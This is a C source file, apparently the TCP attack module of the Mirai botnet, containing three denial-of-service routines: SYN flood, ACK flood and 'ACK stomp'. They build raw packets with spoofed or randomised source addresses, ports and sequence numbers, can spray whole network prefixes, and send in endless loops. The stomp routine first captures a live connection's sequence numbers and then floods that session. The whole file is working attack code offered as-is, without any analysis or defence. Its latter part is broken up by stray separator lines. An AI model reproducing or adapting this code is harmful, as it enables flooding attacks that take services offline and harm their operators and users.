490 lines
17 KiB
C
Executable File
490 lines
17 KiB
C
Executable File
#define _GNU_SOURCE
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#ifdef DEBUG
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#include <stdio.h>
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#endif
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#include <stdlib.h>
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#include <unistd.h>
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#include <sys/socket.h>
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#include <linux/ip.h>
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#include <linux/tcp.h>
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#include <fcntl.h>
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#include <errno.h>
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#include "includes.h"
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#include "attack.h"
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#include "checksum.h"
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#include "rand.h"
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void attack_tcp_syn(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
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{
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int i, fd;
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char **pkts = calloc(targs_len, sizeof (char *));
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uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
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uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
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uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
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BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE);
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port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
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port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
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uint32_t seq = attack_get_opt_int(opts_len, opts, ATK_OPT_SEQRND, 0xffff);
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uint32_t ack = attack_get_opt_int(opts_len, opts, ATK_OPT_ACKRND, 0);
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BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE);
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BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, FALSE);
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BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, FALSE);
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BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE);
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BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, TRUE);
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BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE);
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uint32_t source_ip = attack_get_opt_ip(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);
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if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
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{
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#ifdef DEBUG
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printf("Failed to create raw socket. Aborting attack\n");
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#endif
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return;
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}
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i = 1;
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if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
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{
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#ifdef DEBUG
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printf("Failed to set IP_HDRINCL. Aborting\n");
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#endif
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close(fd);
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return;
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}
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for (i = 0; i < targs_len; i++)
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{
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struct iphdr *iph;
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struct tcphdr *tcph;
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uint8_t *opts;
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pkts[i] = calloc(128, sizeof (char));
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iph = (struct iphdr *)pkts[i];
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tcph = (struct tcphdr *)(iph + 1);
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opts = (uint8_t *)(tcph + 1);
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iph->version = 4;
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iph->ihl = 5;
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iph->tos = ip_tos;
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iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + 20);
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iph->id = htons(ip_ident);
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iph->ttl = ip_ttl;
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if (dont_frag)
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iph->frag_off = htons(1 << 14);
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iph->protocol = IPPROTO_TCP;
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iph->saddr = source_ip;
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iph->daddr = targs[i].addr;
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tcph->source = htons(sport);
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tcph->dest = htons(dport);
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tcph->seq = htons(seq);
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tcph->doff = 10;
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tcph->urg = urg_fl;
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tcph->ack = ack_fl;
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tcph->psh = psh_fl;
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tcph->rst = rst_fl;
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tcph->syn = syn_fl;
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tcph->fin = fin_fl;
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// TCP MSS
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*opts++ = PROTO_TCP_OPT_MSS; // Kind
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*opts++ = 4; // Length
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*((uint16_t *)opts) = htons(1400 + (rand_next() & 0x0f));
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opts += sizeof (uint16_t);
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// TCP SACK permitted
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*opts++ = PROTO_TCP_OPT_SACK;
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*opts++ = 2;
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// TCP timestamps
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*opts++ = PROTO_TCP_OPT_TSVAL;
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*opts++ = 10;
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*((uint32_t *)opts) = rand_next();
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opts += sizeof (uint32_t);
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*((uint32_t *)opts) = 0;
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opts += sizeof (uint32_t);
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// TCP nop
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*opts++ = 1;
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// TCP window scale
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*opts++ = PROTO_TCP_OPT_WSS;
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*opts++ = 3;
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*opts++ = 6; // 2^6 = 64, window size scale = 64
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}
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while (TRUE)
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{
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for (i = 0; i < targs_len; i++)
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{
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char *pkt = pkts[i];
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struct iphdr *iph = (struct iphdr *)pkt;
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struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
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// For prefix attacks
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if (targs[i].netmask < 32)
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iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
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if (source_ip == 0xffffffff)
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iph->saddr = rand_next();
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if (ip_ident == 0xffff)
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iph->id = rand_next() & 0xffff;
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if (sport == 0xffff)
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tcph->source = rand_next() & 0xffff;
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if (dport == 0xffff)
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tcph->dest = rand_next() & 0xffff;
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if (seq == 0xffff)
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tcph->seq = rand_next();
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if (ack == 0xffff)
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tcph->ack_seq = rand_next();
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if (urg_fl)
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tcph->urg_ptr = rand_next() & 0xffff;
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iph->check = 0;
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iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
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tcph->check = 0;
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tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + 20), sizeof (struct tcphdr) + 20);
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targs[i].sock_addr.sin_port = tcph->dest;
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sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + 20, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
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}
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#ifdef DEBUG
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break;
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if (errno != 0)
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printf("errno = %d\n", errno);
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#endif
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}
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}
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void attack_tcp_ack(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
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{
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int i, fd;
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char **pkts = calloc(targs_len, sizeof (char *));
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uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
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uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
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uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
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BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE);
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port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
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port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
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uint32_t seq = attack_get_opt_int(opts_len, opts, ATK_OPT_SEQRND, 0xffff);
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uint32_t ack = attack_get_opt_int(opts_len, opts, ATK_OPT_ACKRND, 0xffff);
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BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE);
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BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, TRUE);
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BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, FALSE);
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BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE);
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BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, FALSE);
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BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE);
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int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);
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BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
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uint32_t source_ip = attack_get_opt_ip(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);
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if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
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{
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#ifdef DEBUG
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printf("Failed to create raw socket. Aborting attack\n");
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#endif
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return;
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}
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i = 1;
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if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
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{
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#ifdef DEBUG
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printf("Failed to set IP_HDRINCL. Aborting\n");
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#endif
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close(fd);
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return;
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}
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for (i = 0; i < targs_len; i++)
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{
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struct iphdr *iph;
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struct tcphdr *tcph;
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char *payload;
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pkts[i] = calloc(1510, sizeof (char));
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iph = (struct iphdr *)pkts[i];
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tcph = (struct tcphdr *)(iph + 1);
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payload = (char *)(tcph + 1);
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iph->version = 4;
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iph->ihl = 5;
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iph->tos = ip_tos;
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iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);
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iph->id = htons(ip_ident);
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iph->ttl = ip_ttl;
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if (dont_frag)
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iph->frag_off = htons(1 << 14);
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iph->protocol = IPPROTO_TCP;
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iph->saddr = source_ip;
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iph->daddr = targs[i].addr;
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tcph->source = htons(sport);
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tcph->dest = htons(dport);
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tcph->seq = htons(seq);
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tcph->doff = 5;
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tcph->urg = urg_fl;
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tcph->ack = ack_fl;
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tcph->psh = psh_fl;
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tcph->rst = rst_fl;
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tcph->syn = syn_fl;
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tcph->fin = fin_fl;
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tcph->window = rand_next() & 0xffff;
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if (psh_fl)
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tcph->psh = TRUE;
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rand_str(payload, data_len);
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}
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// targs[0].sock_addr.sin_port = tcph->dest;
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// if (sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[0].sock_addr, sizeof (struct sockaddr_in)) < 1)
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// {
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//
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// }
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while (TRUE)
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{
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for (i = 0; i < targs_len; i++)
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{
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char *pkt = pkts[i];
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struct iphdr *iph = (struct iphdr *)pkt;
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struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
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char *data = (char *)(tcph + 1);
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// For prefix attacks
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if (targs[i].netmask < 32)
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iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
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if (source_ip == 0xffffffff)
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iph->saddr = rand_next();
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if (ip_ident == 0xffff)
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iph->id = rand_next() & 0xffff;
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if (sport == 0xffff)
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tcph->source = rand_next() & 0xffff;
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if (dport == 0xffff)
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tcph->dest = rand_next() & 0xffff;
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if (seq == 0xffff)
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tcph->seq = rand_next();
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if (ack == 0xffff)
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tcph->ack_seq = rand_next();
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// Randomize packet content?
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if (data_rand)
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rand_str(data, data_len);
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iph->check = 0;
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iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
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tcph->check = 0;
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tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + data_len), sizeof (struct tcphdr) + data_len);
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targs[i].sock_addr.sin_port = tcph->dest;
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sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
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}
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#ifdef DEBUG
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break;
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if (errno != 0)
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printf("errno = %d\n", errno);
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#endif
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}
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}
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void attack_tcp_stomp(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
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{
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int i, rfd;
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struct attack_stomp_data *stomp_data = calloc(targs_len, sizeof (struct attack_stomp_data));
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char **pkts = calloc(targs_len, sizeof (char *));
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uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
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uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
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uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
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BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE);
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port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
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BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE);
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BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, TRUE);
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BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, TRUE);
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BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE);
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BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, FALSE);
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BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE);
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int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 768);
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BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
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// Set up receive socket
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if ((rfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
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{
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#ifdef DEBUG
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printf("Could not open raw socket!\n");
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#endif
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return;
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}
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i = 1;
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if (setsockopt(rfd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
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{
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#ifdef DEBUG
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printf("Failed to set IP_HDRINCL. Aborting\n");
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#endif
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close(rfd);
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return;
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}
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// Retrieve all ACK/SEQ numbers
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for (i = 0; i < targs_len; i++)
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{
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int fd;
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struct sockaddr_in addr, recv_addr;
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socklen_t recv_addr_len;
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char pktbuf[256];
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time_t start_recv;
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stomp_setup_nums:
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if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
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{
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#ifdef DEBUG
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printf("Failed to create socket!\n");
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#endif
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continue;
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}
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// Set it in nonblocking mode
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fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK);
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// Set up address to connect to
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addr.sin_family = AF_INET;
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if (targs[i].netmask < 32)
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addr.sin_addr.s_addr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
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else
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addr.sin_addr.s_addr = targs[i].addr;
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if (dport == 0xffff)
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addr.sin_port = rand_next() & 0xffff;
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else
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addr.sin_port = htons(dport);
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// Actually connect, nonblocking
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connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
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start_recv = time(NULL);
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// Get info
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while (TRUE)
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{
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int ret;
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recv_addr_len = sizeof (struct sockaddr_in);
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ret = recvfrom(rfd, pktbuf, sizeof (pktbuf), MSG_NOSIGNAL, (struct sockaddr *)&recv_addr, &recv_addr_len);
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if (ret == -1)
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{
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#ifdef DEBUG
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printf("Could not listen on raw socket!\n");
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#endif
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return;
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}
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if (recv_addr.sin_addr.s_addr == addr.sin_addr.s_addr && ret > (sizeof (struct iphdr) + sizeof (struct tcphdr)))
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{
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struct tcphdr *tcph = (struct tcphdr *)(pktbuf + sizeof (struct iphdr));
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if (tcph->source == addr.sin_port)
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{
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if (tcph->syn && tcph->ack)
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{
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struct iphdr *iph;
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struct tcphdr *tcph;
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char *payload;
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stomp_data[i].addr = addr.sin_addr.s_addr;
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stomp_data[i].seq = ntohl(tcph->seq);
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stomp_data[i].ack_seq = ntohl(tcph->ack_seq);
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stomp_data[i].sport = tcph->dest;
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stomp_data[i].dport = addr.sin_port;
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#ifdef DEBUG
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printf("ACK Stomp got SYN+ACK!\n");
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#endif
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// Set up the packet
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pkts[i] = malloc(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);
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iph = (struct iphdr *)pkts[i];
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tcph = (struct tcphdr *)(iph + 1);
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payload = (char *)(tcph + 1);
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iph->version = 4;
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iph->ihl = 5;
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iph->tos = ip_tos;
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iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);
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iph->id = htons(ip_ident);
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iph->ttl = ip_ttl;
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if (dont_frag)
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iph->frag_off = htons(1 << 14);
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iph->protocol = IPPROTO_TCP;
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iph->saddr = LOCAL_ADDR;
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iph->daddr = stomp_data[i].addr;
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tcph->source = stomp_data[i].sport;
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tcph->dest = stomp_data[i].dport;
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tcph->seq = stomp_data[i].ack_seq;
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tcph->ack_seq = stomp_data[i].seq;
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tcph->doff = 8;
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tcph->fin = TRUE;
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tcph->ack = TRUE;
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|
tcph->window = rand_next() & 0xffff;
|
|
tcph->urg = urg_fl;
|
|
tcph->ack = ack_fl;
|
|
tcph->psh = psh_fl;
|
|
tcph->rst = rst_fl;
|
|
tcph->syn = syn_fl;
|
|
tcph->fin = fin_fl;
|
|
|
|
rand_str(payload, data_len);
|
|
break;
|
|
}
|
|
else if (tcph->fin || tcph->rst)
|
|
{
|
|
close(fd);
|
|
goto stomp_setup_nums;
|
|
}
|
|
}
|
|
}
|
|
|
|
if (time(NULL) - start_recv > 10)
|
|
{
|
|
#ifdef DEBUG
|
|
printf("Couldn't connect to host for ACK Stomp in time. Retrying\n");
|
|
#endif
|
|
close(fd);
|
|
goto stomp_setup_nums;
|
|
}
|
|
}
|
|
}
|
|
|
|
// Start spewing out traffic
|
|
while (TRUE)
|
|
{
|
|
for (i = 0; i < targs_len; i++)
|
|
{
|
|
char *pkt = pkts[i];
|
|
struct iphdr *iph = (struct iphdr *)pkt;
|
|
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
|
|
char *data = (char *)(tcph + 1);
|
|
|
|
if (ip_ident == 0xffff)
|
|
iph->id = rand_next() & 0xffff;
|
|
|
|
if (data_rand)
|
|
rand_str(data, data_len);
|
|
|
|
iph->check = 0;
|
|
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
|
|
|
|
tcph->seq = htons(stomp_data[i].seq++);
|
|
tcph->ack_seq = htons(stomp_data[i].ack_seq);
|
|
tcph->check = 0;
|
|
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + data_len), sizeof (struct tcphdr) + data_len);
|
|
|
|
targs[i].sock_addr.sin_port = tcph->dest;
|
|
sendto(rfd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
|
|
}
|
|
#ifdef DEBUG
|
|
break;
|
|
if (errno != 0)
|
|
printf("errno = %d\n", errno);
|
|
#endif
|
|
}
|
|
}
|